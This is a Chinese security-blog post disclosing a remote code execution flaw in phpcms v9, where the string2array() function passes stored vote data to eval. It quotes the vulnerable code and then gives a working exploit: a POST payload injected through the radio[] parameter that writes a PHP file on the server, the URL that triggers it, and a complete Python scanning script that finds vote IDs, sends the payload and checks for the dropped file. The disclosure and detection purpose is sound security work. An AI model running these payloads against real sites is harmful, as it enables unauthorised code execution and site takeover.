phpcms前台任意代码执行(php需低于5.3)

  • A+
所属分类:漏洞时代
摘要

phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞
/phpsso_server/phpcms/libs/functions/global.func.php

phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞
/phpsso_server/phpcms/libs/functions/global.func.php

/** * 将字符串转换为数组 * * @param string $data 字符串 * @return array 返回数组格式,如果,data为空,则返回空数组 */ function string2array($data) {  if($data == '') return array();  eval("/$array = $data;");  return $array; }

在文件/phpcms/modules/vote/index.php中,我们找到它的执行流程

 /**   * 处理投票   */  public function post(){   $subjectid = intval($_POST['subjectid']);   if(!$subjectid) showmessage(L('vote_novote'),'blank');   //当前站点   $siteid = SITEID;   //判断是否已投过票,或者尚未到第二次投票期   $return = $this->check($subjectid);    switch ($return) {   case 0:     showmessage(L('vote_voteyes'),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");     break;   case -1:     showmessage(L('vote_voteyes'),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");     break;   }   if(!is_array($_POST['radio'])) showmessage(L('vote_nooption'),'blank');      $time = SYS_TIME;          $data_arr = array();     foreach($_POST['radio'] as $radio){  //接收POST传递的radio并转换为$radio数组      $data_arr[$radio]='1';     }     $new_data = array2string($data_arr);//转成字符串存入数据库中       //添加到数据库   $this->vote_data->insert(array('userid'=>$this->userid,'username'=>$this->username,'subjectid'=>$subjectid,'time'=>$time,'ip'=>$this->ip,'data'=>$new_data));   //把字符串$new_data放到data里面    //查询投票奖励点数,并更新会员点数    $vote_arr = $this->vote->get_one(array('subjectid'=>$subjectid));     pc_base::load_app_class('receipts','pay',0);   receipts::point($vote_arr['credit'],$this->userid, $this->username, '','selfincome',L('vote_post_point'));    //更新投票人数     $this->vote->update(array('votenumber'=>'+=1'),array('subjectid'=>$subjectid));   showmessage(L('vote_votesucceed'), "?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");  }    /**   *    * 投票结果显示    */  public function result(){   $siteid = SITEID;   $subjectid = abs(intval($_GET['subjectid']));   if(!$subjectid) showmessage(L('vote_novote'),'blank');   //取出投票标题   $subject_arr = $this->vote->get_subject($subjectid);   if(!is_array($subject_arr)) showmessage(L('vote_novote'),'blank');   extract($subject_arr);   //获取投票选项   $options = $this->vote_option->get_options($subjectid);      //新建一数组用来存新组合数据         $total = 0;         $vote_data =array();   $vote_data['total'] = 0 ;//所有投票选项总数   $vote_data['votes'] = 0 ;//投票人数      //获取投票结果信息         $infos = $this->vote_data->select(array('subjectid'=>$subjectid),'data');    //循环每个会员的投票记录   foreach($infos as $subjectid_arr) {     extract($subjectid_arr);      $arr = string2array($data);//调用了string2array进入eval函数       foreach($arr as $key => $values){       $vote_data[$key]+=1;     }      $total += array_sum($arr);     $vote_data['votes']++ ;   }    $vote_data['total'] = $total ;    //SEO设置    $SEO = seo(SITEID, '', $subject, $description, $subject);      include template('vote','vote_result');  }

所以执行的过程就是
1.首先找到一个可以投票的id参数subjectid
2.发起投票,post数据

/index.php?m=vote&c=index&a=post&subjectid=xxx&siteid=1 subjectid=1&radio[]=);fputs(fopen(base64_decode(cmVhZG1lLnBocA),w),"vulnerable test");

3.然后我们再查看result,触发string2array函数

/index.php?m=vote&c=index&a=result&subjectid=xxx&siteid=1

4.再看看是否有readme.php文件存在。

附上一个用于bugscan检测脚本

# !/usr/bin/dev python # -*- coding:utf-8 -*-  import re import urllib import urllib2   def get_vote_links(args):     vul_url = args     vote_url = '%sindex.php?m=vote' % vul_url     code, head, res, _, _ = curl.curl(vote_url)     ids = []     for miter in re.finditer(r'<a href=.*?subjectid=(?P<id>/d+)', res, re.DOTALL):         ids.append(miter.group('id'))     if len(ids) == 0:         return None      return list(set(ids))    def assign(service, args):     if service == 'phpcms':         return True, args     pass   def audit(args):     vul_url = args     ids = get_vote_links(args)     if ids:         for i in ids:             exploit_url = '%sindex.php?m=vote&c=index&a=post&subjectid=%s&siteid=1' % (vul_url, i)             payload = {'subjectid': 1,                        'radio[]': ');fputs(fopen(base64_decode(YnVnc2Nhbi5waHA=),w),"vulnerable test");'}             post_data = urllib.urlencode(payload)             curl.curl('-d "%s" %s' % (post_data, exploit_url))             verify_url = '%sindex.php?m=vote&c=index&a=result&subjectid=%s&siteid=1' % (vul_url, i)             curl.curl(verify_url)             shell_url = '%sbugscan.php' % vul_url             code, head, res, _, _ = curl.curl(shell_url)             if code == 200 and 'vulnerable test' in res:                 security_hole(vul_url)     pass   if __name__ == "__main__":     from dummy import *     audit(assign('phpcms', 'http://www.example.com/')[1])

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: